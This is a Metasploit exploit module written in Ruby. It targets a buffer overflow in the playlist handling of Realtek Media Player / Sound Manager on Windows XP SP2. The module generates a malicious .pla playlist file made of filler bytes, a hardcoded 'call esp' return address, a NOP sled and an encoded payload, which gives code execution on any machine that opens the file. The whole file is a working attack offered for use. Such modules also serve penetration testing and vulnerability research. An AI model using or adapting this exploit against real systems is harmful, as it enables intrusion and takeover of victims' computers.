require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::FILEFORMAT
        
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Realtek Media Player Playlist Buffer Overflow.',
			'Description'    => %q{
					This module exploits a buffer overflow in the Realtek Sound Manager application.
					This is a port of an exploit by shinnai.  
			},
			'License'        => MSF_LICENSE,
			'Author'         => 'SaintPatrick',
			'Version'        => '$Revision:$',
			'References'     =>
				[
					[ 'BID', '32860' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
				},					
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform' => 'win',
			'Targets'        => 
				[
					[ 'XP SP2 English', { 'Ret' => 0x7C82385D } ], #kerneldll - call esp
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Dec 16 2008',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ false, 'The file name.',  'realtek.pla']),
					OptString.new('OUTPUTPATH', [ false, 'The location of the file.',  './data/exploits/']),
				], self.class)

	end

	def exploit

		pla = rand_text_alpha_upper(220)
      
		pla << [target.ret].pack('V')
		pla << make_nops(12)
		pla << payload.encoded       
		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(pla)

	end

end